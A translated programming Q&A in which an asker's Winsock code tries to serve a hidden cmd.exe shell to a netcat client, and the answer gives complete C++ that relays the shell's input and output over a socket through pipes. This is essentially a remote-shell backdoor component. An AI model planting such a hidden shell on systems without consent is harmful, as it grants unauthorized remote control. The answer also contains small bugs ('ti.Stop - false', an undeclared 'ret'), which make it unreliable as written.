我是winsock的新手,我在linux环境中工作,我正在尝试编写一个程序,客户端将在shell服务器上连接,我无法将输出发送到客户端,我还没有开发完整的客户端,我正在使用netcat进行测试, 但是没有得到输出中的数据...... 有人可以帮助改进这段代码吗?
我该怎么办才能让客户端收到cmd命令的输出?
int Socket_Manip::SHELL() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset((void *)&si, 0, sizeof(si));
memset((void *)&pi, 0, sizeof(pi));
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)ClientSocket;
si.hStdOutput = (HANDLE)ClientSocket;
si.hStdError = (HANDLE)ClientSocket;
CreateProcess(NULL,"cmd", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
return 0;
}
答案 0 :(得分:1)
您无法使用套接字重定向CreateProcess()
I / O.请使用CreatePipe()
中的管道。有关示例,请参阅MSND:
Creating a Child Process with Redirected Input and Output
您必须编写一些监视代码,根据需要在管道和套接字之间来回传递数据。尝试这样的事情:
struct sThreadInfo
{
SOCKET Socket;
HANDLE hStdIn;
HANDLE hStdOut;
bool Stop;
};
DWORD WINAPI ClientSocketToShell(LPVOID lpParameter)
{
sThreadInfo *ti = (sThreadInfo*) lpParameter;
BYTE buffer[1024];
DWORD BytesWritten;
fd_set rds;
while (!ti->Stop)
{
FD_ZERO(&rds);
FD_SET(ti->Socket, &rds);
timeval timeout;
timeout.tv_sec = 1;
timeout.tv_usec = 0;
int ret = select(0, &rds, NULL, NULL, &timeout);
if (ret < 0)
break;
if (ret > 0)
{
ret = recv(ti->Socket, buffer, sizeof(buffer), 0);
if (ret <= 0)
break;
if (!WriteFile(ti->hStdIn, buffer, ret, &BytesWritten, NULL))
break;
}
}
return 0;
}
DWORD WINAPI ShellToClientSocket(LPVOID lpParameter)
{
sThreadInfo *ti = (sThreadInfo*) lpParameter;
BYTE buffer[1024];
DWORD BytesAvailable, BytesRead;
while (!ti->Stop)
{
if (!PeekNamedPipe(ti->hStdOut, NULL, 0, NULL, &BytesAvailable, NULL))
break;
if (BytesAvailable != 0)
{
if (!ReadFile(ti->hStdOut, buffer, min(sizeof(buffer), BytesAvailable), &BytesRead, NULL))
break;
ret = send(ti->Socket, buffer, BytesRead, 0);
if (ret <= 0)
break;
}
else
Sleep(1000);
}
return 0;
}
int Socket_Manip::SHELL()
{
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
HANDLE hStdIn_Rd = NULL;
HANDLE hStdIn_Wr = NULL;
HANDLE hStdOut_Rd = NULL;
HANDLE hStdOut_Wr = NULL;
if (!CreatePipe(&hStdOut_Rd, &hStdOut_Wr, &saAttr, 0))
return 0;
SetHandleInformation(hStdOut_Rd, HANDLE_FLAG_INHERIT, 0);
if (!CreatePipe(&hStdIn_Rd, &hStdIn_Wr, &saAttr, 0))
{
CloseHandle(hStdOut_Rd);
CloseHandle(hStdOut_Wr);
return 0;
}
SetHandleInformation(hStdIn_Wr, HANDLE_FLAG_INHERIT, 0);
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdError = hStdOut_Wr;
si.hStdOutput = hStdOut_Wr;
si.hStdInput = hStdIn_Rd;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
TCHAR cmd[] = TEXT("cmd");
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
sThreadInfo ti;
ZeroMemory(&ti, sizeof(ti));
ti.Socket = ClientSocket;
ti.hStdIn = hStdIn_Wr;
ti.hStdOut = hStdOut_Rd;
ti.Stop - false;
HANDLE Handles[3];
DWORD dwThreadID;
ZeroMemory(Handles, sizeof(Handles));
Handles[0] = pi.hProcess;
Handles[1] = CreateThread(NULL, 0, &ClientSocketToShell, &ti, 0, &dwThreadID);
Handles[2] = CreateThread(NULL, 0, &ShellToClientSocket, &ti, 0, &dwThreadID);
DWORD ret = WaitForMultipleObjects(3, Handles, FALSE, INFINITE);
ti.Stop = true;
if (ret != WAIT_OBJECT_0)
TerminateProcess(pi.hProcess, 0);
WaitForMultipleObjects(2, &Handles[1], TRUE, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(Handles[1]);
CloseHandle(Handles[2]);
}
CloseHandle(hStdIn_Rd);
CloseHandle(hStdIn_Wr);
CloseHandle(hStdOut_Rd);
CloseHandle(hStdOut_Wr);
return 0;
}